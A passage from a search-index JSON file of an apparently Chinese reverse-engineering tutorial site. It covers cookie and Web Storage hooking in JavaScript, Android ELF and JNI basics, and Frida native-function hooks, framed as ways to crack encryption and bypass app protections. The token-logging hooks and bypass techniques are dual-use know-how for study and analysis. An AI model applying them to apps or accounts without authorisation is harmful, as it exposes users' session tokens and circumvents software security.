Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#1-结构与属性"},{"categories":null,"collections":null,"content":"2. [Reverse Engineering Context] Cookie 逆向 Hook Setter: 如前文所述，Hook document.cookie 的 setter 可以定位 JS 是在哪里生成/设置 Cookie 的。 var cookie_cache = document.cookie; Object.defineProperty(document, \"cookie\", { get: function () { return cookie_cache; }, set: function (val) { console.log(\"Setting cookie\", val); cookie_cache = val; return val; }, }); HttpOnly Bypass?: 如果 Cookie 是 HttpOnly 的，你无法通过 JS Hook 拿到（因为浏览器内核阻止了）。但你可以： 抓包（Burp/Fiddler/Network Panel）。 如果是 Electron 应用，可以尝试调试主进程或使用 Protocol Monitor。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:2:2","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#2-reverse-engineering-context-cookie-逆向"},{"categories":null,"collections":null,"content":"Web Storage (Local / Session) HTML5 引入的键值对存储，比 Cookie 更大（~5MB），接口更简单。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:3:0","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#web-storage-local--session"},{"categories":null,"collections":null,"content":"1. LocalStorage vs SessionStorage LocalStorage: 持久化存储，除非主动删除，否则一直存在。 SessionStorage: 会话级存储，关闭标签页后消失。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:3:1","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#1-localstorage-vs-sessionstorage"},{"categories":null,"collections":null,"content":"2. API getItem(key) setItem(key, value) removeItem(key) clear() ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:3:2","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#2-api"},{"categories":null,"collections":null,"content":"3. [Reverse Engineering Context] 监控存储 很多 JWT (JSON Web Token) 存储在 LocalStorage 中。 // 简单的 Hook 监控 setItem const originalSetItem = localStorage.setItem; localStorage.setItem = function (key, value) { if (key === \"token\") { console.log(\"[LocalStorage] Token detected:\", value); debugger; } return originalSetItem.apply(this, arguments); }; 实战技巧: 在 DevTools 的 Application 面板可以直接查看和编辑 Storage 数据。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:3:3","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#3-reverse-engineering-context-监控存储"},{"categories":null,"collections":null,"content":"IndexedDB 浏览器内置的非关系型数据库，用于存储大量结构化数据。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:4:0","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#indexeddb"},{"categories":null,"collections":null,"content":"1. 特点 支持事务。 支持索引。 异步 API。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:4:1","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#1-特点"},{"categories":null,"collections":null,"content":"2. 逆向场景 较少用于存储简单的 Token，但在复杂的 Web App（如在线文档、即时通讯、离线应用）中，可能会缓存大量的业务数据甚至代码逻辑。如果发现应用在 Application 面板的 IndexedDB 里存了很多数据，值得看一眼。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:4:2","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#2-逆向场景"},{"categories":null,"collections":null,"content":"总结 存储类型 容量 生命周期 JS 可访问性 逆向关注点 Cookie 4KB 可设 / 会话 取决于 HttpOnly Session ID, 签名参数 LocalStorage 5MB 永久 是 JWT Token, 用户配置 SessionStorage 5MB Tab 关闭 是 临时状态 IndexedDB 无限 永久 是 大量业务数据 逆向第一步: F12 -\u003e Application 面板，把这几个地方翻一遍，看看有没有名为 token, auth, sign, key 的可疑字段。 ","date":"2024-04-09","objectID":"/reverse_engineering/web/01-foundations/cookie_and_storage/:5:0","tags":["Web","HTTP","签名验证","JavaScript","基础知识","Hook"],"title":"Cookie 与 Storage","uri":"/reverse_engineering/web/01-foundations/cookie_and_storage/#总结"},{"categories":null,"collections":null,"content":"Android .so 文件详解 (ELF Format) .so 文件（Shared Object）是 Android 平台上的原生共享库，等同于 Windows 上的 .dll 或 Linux 上的 .so。它们包含了由 C/C++ 等原生代码编译而成的机器码。在 Android 逆向工程中，分析 .so 文件是理解应用核心逻辑、破解加密算法和绕过安全机制的关键一步。 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:0:0","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#android-so-文件详解-elf-format"},{"categories":null,"collections":null,"content":"ELF 文件格式 .so 文件遵循 ELF (Executable and Linkable Format) 格式，这是一种用于可执行文件、目标代码、共享库和核心转储的标准文件格式。 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:1:0","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#elf-文件格式"},{"categories":null,"collections":null,"content":"ELF Header 位于文件开头，描述了整个文件的\"档案\"，包括： 字段 说明 Magic Number 文件的前 16 个字节，用于识别这是一个 ELF 文件 Architecture 标识文件是为哪种 CPU 架构编译的（如 ARM, ARM64, x86） Type 文件类型（可执行文件、共享库等） Entry Point Address 如果是可执行文件，这是程序启动的地址 Program Header Table Offset 指向程序头表的偏移 Section Header Table Offset 指向节头表的偏移 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:1:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#elf-header"},{"categories":null,"collections":null,"content":"Program Header Table 描述了系统如何将文件的各个部分（段，Segments）加载到内存中。每个条目都定义了一个段的类型（如 LOAD，表示需要加载到内存）、虚拟地址、物理地址、大小和权限（读、写、执行）。动态链接器 (linker) 依赖这个表来正确映射 .so 文件。 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:1:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#program-header-table"},{"categories":null,"collections":null,"content":"Section Header Table 描述了文件中各个\"节\"（Sections）的信息。节是链接器用来组织和处理数据的单位。 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:1:3","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#section-header-table"},{"categories":null,"collections":null,"content":"关键 Section Section 说明 .text 包含已编译的程序机器码（汇编指令）。这是分析的核心区域 .rodata 只读数据区，通常存放字符串常量、const 变量等 .data 已初始化的可读可写数据区（全局变量和静态变量） .bss 未初始化的数据区。在文件中不占空间，但在加载到内存时会被分配并清零 .init_array 存放函数指针，这些函数会在库被加载 (dlopen) 时自动执行。分析反调试的绝佳入口点 .fini_array 存放函数指针，这些函数会在库被卸载 (dlclose) 时自动执行 .dynsym 动态符号表，包含了库中导出和导入的函数和变量名 .dynstr 字符串表，.dynsym 中的符号名称就存储在这里 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:1:4","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#关键-section"},{"categories":null,"collections":null,"content":"加载与链接 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:2:0","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#加载与链接"},{"categories":null,"collections":null,"content":"System.loadLibrary() 在 Java/Kotlin 代码中，开发者通过 System.loadLibrary(\"mylib\") 来加载一个名为 libmylib.so 的原生库。系统会在 lib/ 目录下的相应 ABI 文件夹（如 arm64-v8a）中查找并加载该库。 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:2:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#systemloadlibrary"},{"categories":null,"collections":null,"content":"JNI (Java Native Interface) JNI 是连接 Java 世界和 Native (C/C++) 世界的桥梁，是 Android 逆向分析中的核心知识点。 JNI 基础概念 Java 侧声明： public class NativeHelper { static { System.loadLibrary(\"native-lib\"); // 加载 libnative-lib.so } // 静态 native 方法 public static native String doEncrypt(String input); // 实例 native 方法 public native byte[] processData(byte[] data, int flag); // 多参数 native 方法 public native int complexOperation(String str, int[] array, boolean flag); } Native 侧实现： // 静态方法 JNI 函数签名：第二个参数是 jclass JNIEXPORT jstring JNICALL Java_com_example_app_NativeHelper_doEncrypt(JNIEnv *env, jclass clazz, jstring input) { const char *nativeString = (*env)-\u003eGetStringUTFChars(env, input, 0); // 执行加密逻辑... jstring result = (*env)-\u003eNewStringUTF(env, encrypted_result); (*env)-\u003eReleaseStringUTFChars(env, input, nativeString); return result; } // 实例方法 JNI 函数签名：第二个参数是 jobject JNIEXPORT jbyteArray JNICALL Java_com_example_app_NativeHelper_processData(JNIEnv *env, jobject thiz, jbyteArray data, jint flag) { jsize len = (*env)-\u003eGetArrayLength(env, data); jbyte *body = (*env)-\u003eGetByteArrayElements(env, data, 0); // 处理数据... jbyteArray result = (*env)-\u003eNewByteArray(env, len); (*env)-\u003eSetByteArrayRegion(env, result, 0, len, processed_data); (*env)-\u003eReleaseByteArrayElements(env, data, body, 0); return result; } JNI 数据类型映射 Java 类型 JNI 类型 签名字符 boolean jboolean Z byte jbyte B char jchar C short jshort S int jint I long jlong J float jfloat F double jdouble D void void V String jstring Ljava/lang/String; Object jobject L完整类名; int[] jintArray [I byte[] jbyteArray [B JNI 常用函数 分类 函数 字符串操作 NewStringUTF(), GetStringUTFChars(), ReleaseStringUTFChars() 数组操作 NewByteArray(), GetByteArrayElements(), SetByteArrayRegion() 对象操作 NewObject(), GetObjectClass(), CallObjectMethod() 字段访问 GetFieldID(), GetIntField(), SetIntField() 方法调用 GetMethodID(), CallVoidMethod(), CallIntMethod() JNI 方法注册 静态注册（编译时确定）： 函数名必须严格遵循命名规则：Java_包名_类名_方法名 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { return (*env)-\u003eNewStringUTF(env, \"Hello from JNI!\"); } 动态注册（运行时注册）： // 定义方法映射表 static JNINativeMethod gMethods[] = { {\"encrypt\", \"(Ljava/lang/String;)Ljava/lang/String;\", (void*)native_encrypt}, {\"decrypt\", \"([B)[B\", (void*)native_decrypt}, {\"init\", \"(I)V\", (void*)native_init} }; // JNI_OnLoad 函数在库加载时自动调用 JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env; if ((*vm)-\u003eGetEnv(vm, (void**)\u0026env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } jclass clazz = (*env)-\u003eFindClass(env, \"com/example/app/NativeHelper\"); if (clazz == NULL) { return JNI_ERR; } // 注册 native 方法 if ((*env)-\u003eRegisterNatives(env, clazz, gMethods, sizeof(gMethods)/sizeof(gMethods[0])) \u003c 0) { return JNI_ERR; } return JNI_VERSION_1_6; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:2:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#jni-java-native-interface"},{"categories":null,"collections":null,"content":"JNI (Java Native Interface) JNI 是连接 Java 世界和 Native (C/C++) 世界的桥梁，是 Android 逆向分析中的核心知识点。 JNI 基础概念 Java 侧声明： public class NativeHelper { static { System.loadLibrary(\"native-lib\"); // 加载 libnative-lib.so } // 静态 native 方法 public static native String doEncrypt(String input); // 实例 native 方法 public native byte[] processData(byte[] data, int flag); // 多参数 native 方法 public native int complexOperation(String str, int[] array, boolean flag); } Native 侧实现： // 静态方法 JNI 函数签名：第二个参数是 jclass JNIEXPORT jstring JNICALL Java_com_example_app_NativeHelper_doEncrypt(JNIEnv *env, jclass clazz, jstring input) { const char *nativeString = (*env)-\u003eGetStringUTFChars(env, input, 0); // 执行加密逻辑... jstring result = (*env)-\u003eNewStringUTF(env, encrypted_result); (*env)-\u003eReleaseStringUTFChars(env, input, nativeString); return result; } // 实例方法 JNI 函数签名：第二个参数是 jobject JNIEXPORT jbyteArray JNICALL Java_com_example_app_NativeHelper_processData(JNIEnv *env, jobject thiz, jbyteArray data, jint flag) { jsize len = (*env)-\u003eGetArrayLength(env, data); jbyte *body = (*env)-\u003eGetByteArrayElements(env, data, 0); // 处理数据... jbyteArray result = (*env)-\u003eNewByteArray(env, len); (*env)-\u003eSetByteArrayRegion(env, result, 0, len, processed_data); (*env)-\u003eReleaseByteArrayElements(env, data, body, 0); return result; } JNI 数据类型映射 Java 类型 JNI 类型 签名字符 boolean jboolean Z byte jbyte B char jchar C short jshort S int jint I long jlong J float jfloat F double jdouble D void void V String jstring Ljava/lang/String; Object jobject L完整类名; int[] jintArray [I byte[] jbyteArray [B JNI 常用函数 分类 函数 字符串操作 NewStringUTF(), GetStringUTFChars(), ReleaseStringUTFChars() 数组操作 NewByteArray(), GetByteArrayElements(), SetByteArrayRegion() 对象操作 NewObject(), GetObjectClass(), CallObjectMethod() 字段访问 GetFieldID(), GetIntField(), SetIntField() 方法调用 GetMethodID(), CallVoidMethod(), CallIntMethod() JNI 方法注册 静态注册（编译时确定）： 函数名必须严格遵循命名规则：Java_包名_类名_方法名 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { return (*env)-\u003eNewStringUTF(env, \"Hello from JNI!\"); } 动态注册（运行时注册）： // 定义方法映射表 static JNINativeMethod gMethods[] = { {\"encrypt\", \"(Ljava/lang/String;)Ljava/lang/String;\", (void*)native_encrypt}, {\"decrypt\", \"([B)[B\", (void*)native_decrypt}, {\"init\", \"(I)V\", (void*)native_init} }; // JNI_OnLoad 函数在库加载时自动调用 JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env; if ((*vm)-\u003eGetEnv(vm, (void**)\u0026env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } jclass clazz = (*env)-\u003eFindClass(env, \"com/example/app/NativeHelper\"); if (clazz == NULL) { return JNI_ERR; } // 注册 native 方法 if ((*env)-\u003eRegisterNatives(env, clazz, gMethods, sizeof(gMethods)/sizeof(gMethods[0])) \u003c 0) { return JNI_ERR; } return JNI_VERSION_1_6; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:2:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#jni-基础概念"},{"categories":null,"collections":null,"content":"JNI (Java Native Interface) JNI 是连接 Java 世界和 Native (C/C++) 世界的桥梁，是 Android 逆向分析中的核心知识点。 JNI 基础概念 Java 侧声明： public class NativeHelper { static { System.loadLibrary(\"native-lib\"); // 加载 libnative-lib.so } // 静态 native 方法 public static native String doEncrypt(String input); // 实例 native 方法 public native byte[] processData(byte[] data, int flag); // 多参数 native 方法 public native int complexOperation(String str, int[] array, boolean flag); } Native 侧实现： // 静态方法 JNI 函数签名：第二个参数是 jclass JNIEXPORT jstring JNICALL Java_com_example_app_NativeHelper_doEncrypt(JNIEnv *env, jclass clazz, jstring input) { const char *nativeString = (*env)-\u003eGetStringUTFChars(env, input, 0); // 执行加密逻辑... jstring result = (*env)-\u003eNewStringUTF(env, encrypted_result); (*env)-\u003eReleaseStringUTFChars(env, input, nativeString); return result; } // 实例方法 JNI 函数签名：第二个参数是 jobject JNIEXPORT jbyteArray JNICALL Java_com_example_app_NativeHelper_processData(JNIEnv *env, jobject thiz, jbyteArray data, jint flag) { jsize len = (*env)-\u003eGetArrayLength(env, data); jbyte *body = (*env)-\u003eGetByteArrayElements(env, data, 0); // 处理数据... jbyteArray result = (*env)-\u003eNewByteArray(env, len); (*env)-\u003eSetByteArrayRegion(env, result, 0, len, processed_data); (*env)-\u003eReleaseByteArrayElements(env, data, body, 0); return result; } JNI 数据类型映射 Java 类型 JNI 类型 签名字符 boolean jboolean Z byte jbyte B char jchar C short jshort S int jint I long jlong J float jfloat F double jdouble D void void V String jstring Ljava/lang/String; Object jobject L完整类名; int[] jintArray [I byte[] jbyteArray [B JNI 常用函数 分类 函数 字符串操作 NewStringUTF(), GetStringUTFChars(), ReleaseStringUTFChars() 数组操作 NewByteArray(), GetByteArrayElements(), SetByteArrayRegion() 对象操作 NewObject(), GetObjectClass(), CallObjectMethod() 字段访问 GetFieldID(), GetIntField(), SetIntField() 方法调用 GetMethodID(), CallVoidMethod(), CallIntMethod() JNI 方法注册 静态注册（编译时确定）： 函数名必须严格遵循命名规则：Java_包名_类名_方法名 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { return (*env)-\u003eNewStringUTF(env, \"Hello from JNI!\"); } 动态注册（运行时注册）： // 定义方法映射表 static JNINativeMethod gMethods[] = { {\"encrypt\", \"(Ljava/lang/String;)Ljava/lang/String;\", (void*)native_encrypt}, {\"decrypt\", \"([B)[B\", (void*)native_decrypt}, {\"init\", \"(I)V\", (void*)native_init} }; // JNI_OnLoad 函数在库加载时自动调用 JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env; if ((*vm)-\u003eGetEnv(vm, (void**)\u0026env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } jclass clazz = (*env)-\u003eFindClass(env, \"com/example/app/NativeHelper\"); if (clazz == NULL) { return JNI_ERR; } // 注册 native 方法 if ((*env)-\u003eRegisterNatives(env, clazz, gMethods, sizeof(gMethods)/sizeof(gMethods[0])) \u003c 0) { return JNI_ERR; } return JNI_VERSION_1_6; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:2:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#jni-数据类型映射"},{"categories":null,"collections":null,"content":"JNI (Java Native Interface) JNI 是连接 Java 世界和 Native (C/C++) 世界的桥梁，是 Android 逆向分析中的核心知识点。 JNI 基础概念 Java 侧声明： public class NativeHelper { static { System.loadLibrary(\"native-lib\"); // 加载 libnative-lib.so } // 静态 native 方法 public static native String doEncrypt(String input); // 实例 native 方法 public native byte[] processData(byte[] data, int flag); // 多参数 native 方法 public native int complexOperation(String str, int[] array, boolean flag); } Native 侧实现： // 静态方法 JNI 函数签名：第二个参数是 jclass JNIEXPORT jstring JNICALL Java_com_example_app_NativeHelper_doEncrypt(JNIEnv *env, jclass clazz, jstring input) { const char *nativeString = (*env)-\u003eGetStringUTFChars(env, input, 0); // 执行加密逻辑... jstring result = (*env)-\u003eNewStringUTF(env, encrypted_result); (*env)-\u003eReleaseStringUTFChars(env, input, nativeString); return result; } // 实例方法 JNI 函数签名：第二个参数是 jobject JNIEXPORT jbyteArray JNICALL Java_com_example_app_NativeHelper_processData(JNIEnv *env, jobject thiz, jbyteArray data, jint flag) { jsize len = (*env)-\u003eGetArrayLength(env, data); jbyte *body = (*env)-\u003eGetByteArrayElements(env, data, 0); // 处理数据... jbyteArray result = (*env)-\u003eNewByteArray(env, len); (*env)-\u003eSetByteArrayRegion(env, result, 0, len, processed_data); (*env)-\u003eReleaseByteArrayElements(env, data, body, 0); return result; } JNI 数据类型映射 Java 类型 JNI 类型 签名字符 boolean jboolean Z byte jbyte B char jchar C short jshort S int jint I long jlong J float jfloat F double jdouble D void void V String jstring Ljava/lang/String; Object jobject L完整类名; int[] jintArray [I byte[] jbyteArray [B JNI 常用函数 分类 函数 字符串操作 NewStringUTF(), GetStringUTFChars(), ReleaseStringUTFChars() 数组操作 NewByteArray(), GetByteArrayElements(), SetByteArrayRegion() 对象操作 NewObject(), GetObjectClass(), CallObjectMethod() 字段访问 GetFieldID(), GetIntField(), SetIntField() 方法调用 GetMethodID(), CallVoidMethod(), CallIntMethod() JNI 方法注册 静态注册（编译时确定）： 函数名必须严格遵循命名规则：Java_包名_类名_方法名 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { return (*env)-\u003eNewStringUTF(env, \"Hello from JNI!\"); } 动态注册（运行时注册）： // 定义方法映射表 static JNINativeMethod gMethods[] = { {\"encrypt\", \"(Ljava/lang/String;)Ljava/lang/String;\", (void*)native_encrypt}, {\"decrypt\", \"([B)[B\", (void*)native_decrypt}, {\"init\", \"(I)V\", (void*)native_init} }; // JNI_OnLoad 函数在库加载时自动调用 JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env; if ((*vm)-\u003eGetEnv(vm, (void**)\u0026env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } jclass clazz = (*env)-\u003eFindClass(env, \"com/example/app/NativeHelper\"); if (clazz == NULL) { return JNI_ERR; } // 注册 native 方法 if ((*env)-\u003eRegisterNatives(env, clazz, gMethods, sizeof(gMethods)/sizeof(gMethods[0])) \u003c 0) { return JNI_ERR; } return JNI_VERSION_1_6; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:2:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#jni-常用函数"},{"categories":null,"collections":null,"content":"JNI (Java Native Interface) JNI 是连接 Java 世界和 Native (C/C++) 世界的桥梁，是 Android 逆向分析中的核心知识点。 JNI 基础概念 Java 侧声明： public class NativeHelper { static { System.loadLibrary(\"native-lib\"); // 加载 libnative-lib.so } // 静态 native 方法 public static native String doEncrypt(String input); // 实例 native 方法 public native byte[] processData(byte[] data, int flag); // 多参数 native 方法 public native int complexOperation(String str, int[] array, boolean flag); } Native 侧实现： // 静态方法 JNI 函数签名：第二个参数是 jclass JNIEXPORT jstring JNICALL Java_com_example_app_NativeHelper_doEncrypt(JNIEnv *env, jclass clazz, jstring input) { const char *nativeString = (*env)-\u003eGetStringUTFChars(env, input, 0); // 执行加密逻辑... jstring result = (*env)-\u003eNewStringUTF(env, encrypted_result); (*env)-\u003eReleaseStringUTFChars(env, input, nativeString); return result; } // 实例方法 JNI 函数签名：第二个参数是 jobject JNIEXPORT jbyteArray JNICALL Java_com_example_app_NativeHelper_processData(JNIEnv *env, jobject thiz, jbyteArray data, jint flag) { jsize len = (*env)-\u003eGetArrayLength(env, data); jbyte *body = (*env)-\u003eGetByteArrayElements(env, data, 0); // 处理数据... jbyteArray result = (*env)-\u003eNewByteArray(env, len); (*env)-\u003eSetByteArrayRegion(env, result, 0, len, processed_data); (*env)-\u003eReleaseByteArrayElements(env, data, body, 0); return result; } JNI 数据类型映射 Java 类型 JNI 类型 签名字符 boolean jboolean Z byte jbyte B char jchar C short jshort S int jint I long jlong J float jfloat F double jdouble D void void V String jstring Ljava/lang/String; Object jobject L完整类名; int[] jintArray [I byte[] jbyteArray [B JNI 常用函数 分类 函数 字符串操作 NewStringUTF(), GetStringUTFChars(), ReleaseStringUTFChars() 数组操作 NewByteArray(), GetByteArrayElements(), SetByteArrayRegion() 对象操作 NewObject(), GetObjectClass(), CallObjectMethod() 字段访问 GetFieldID(), GetIntField(), SetIntField() 方法调用 GetMethodID(), CallVoidMethod(), CallIntMethod() JNI 方法注册 静态注册（编译时确定）： 函数名必须严格遵循命名规则：Java_包名_类名_方法名 JNIEXPORT jstring JNICALL Java_com_example_app_MainActivity_stringFromJNI(JNIEnv *env, jobject thiz) { return (*env)-\u003eNewStringUTF(env, \"Hello from JNI!\"); } 动态注册（运行时注册）： // 定义方法映射表 static JNINativeMethod gMethods[] = { {\"encrypt\", \"(Ljava/lang/String;)Ljava/lang/String;\", (void*)native_encrypt}, {\"decrypt\", \"([B)[B\", (void*)native_decrypt}, {\"init\", \"(I)V\", (void*)native_init} }; // JNI_OnLoad 函数在库加载时自动调用 JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved) { JNIEnv* env; if ((*vm)-\u003eGetEnv(vm, (void**)\u0026env, JNI_VERSION_1_6) != JNI_OK) { return JNI_ERR; } jclass clazz = (*env)-\u003eFindClass(env, \"com/example/app/NativeHelper\"); if (clazz == NULL) { return JNI_ERR; } // 注册 native 方法 if ((*env)-\u003eRegisterNatives(env, clazz, gMethods, sizeof(gMethods)/sizeof(gMethods[0])) \u003c 0) { return JNI_ERR; } return JNI_VERSION_1_6; } ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:2:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#jni-方法注册"},{"categories":null,"collections":null,"content":"动态链接器 动态链接器 (/system/bin/linker 或 linker64) 负责： 将 .so 文件映射到进程的虚拟地址空间 重定位符号（调整代码中的地址引用） 解析该库的依赖项（即它需要从其他库，如 libc.so，导入的函数），并填充导入函数的地址 执行 .init_array 中的初始化函数 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:2:3","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#动态链接器"},{"categories":null,"collections":null,"content":"静态分析 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:3:0","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#静态分析"},{"categories":null,"collections":null,"content":"识别关键函数 目标 方法 JNI 函数 在符号列表中搜索 Java_ 前缀，可以快速定位所有 Java 和 Native 的交互点 导出函数 查看 Exports 列表，寻找有意义的函数名，如 encrypt, decrypt, checkSignature .init_array 函数 查看 .init_array section，分析在库加载时自动执行的函数 命令行工具： # 列出导出的 JNI 函数 nm -D libexample.so | grep Java_ # 使用 objdump objdump -T libexample.so | grep Java_ ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:3:1","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#识别关键函数"},{"categories":null,"collections":null,"content":"使用 IDA Pro / Ghidra 加载文件: 将 .so 文件拖入 IDA 或 Ghidra 查看伪代码: 按 F5 (IDA) 或等待 Ghidra 的自动分析，直接阅读反编译出的 C 伪代码 交叉引用 (Cross-References): 对一个函数名或字符串常量按 X 键，可以查看所有引用了它的地方 图形模式: 使用图形视图来理解复杂的函数调用流程和条件分支 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:3:2","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#使用-ida-pro--ghidra"},{"categories":null,"collections":null,"content":"动态分析 ","date":"2024-04-05","objectID":"/reverse_engineering/android/04-reference/foundations/so_elf_format/:4:0","tags":["Native层","签名验证","Frida","JNI","Ghidra","加密分析"],"title":"Android .so 文件详解 (ELF Format)","uri":"/reverse_engineering/android/04-reference/foundations/so_elf_format/#动态分析"},{"categories":null,"collections":null,"content":"Frida Hook 原生函数 当静态分析困难（如代码被混淆或算法复杂）时，动态 Hook 是最有效的方法。 基于偏移地址 Hook： // Frida 脚本 const baseAddr = Module.findBaseAddress(\"libnative-lib.so\"); const targetFuncPtr = baseAddr.add(0x1234); // 0x1234 是从 IDA/Ghidra 获取的函数偏移 Interceptor.attach(targetFuncPtr, { onEnter: function(args) { // args[0], args[1]... 是函数参数（指针） console.log(\"Hooked function called!\"); // 可以使用 Memory.readCString(args[0]) 等来读取参数内容 }, onLeave: function(retval) { // retval 是函数返回值 // retval.replace(0x1); // 可以修改返回值 } }); 基于导出名称 Hook： var encrypt_func = Module.findExportByName(\"libnative.so\", 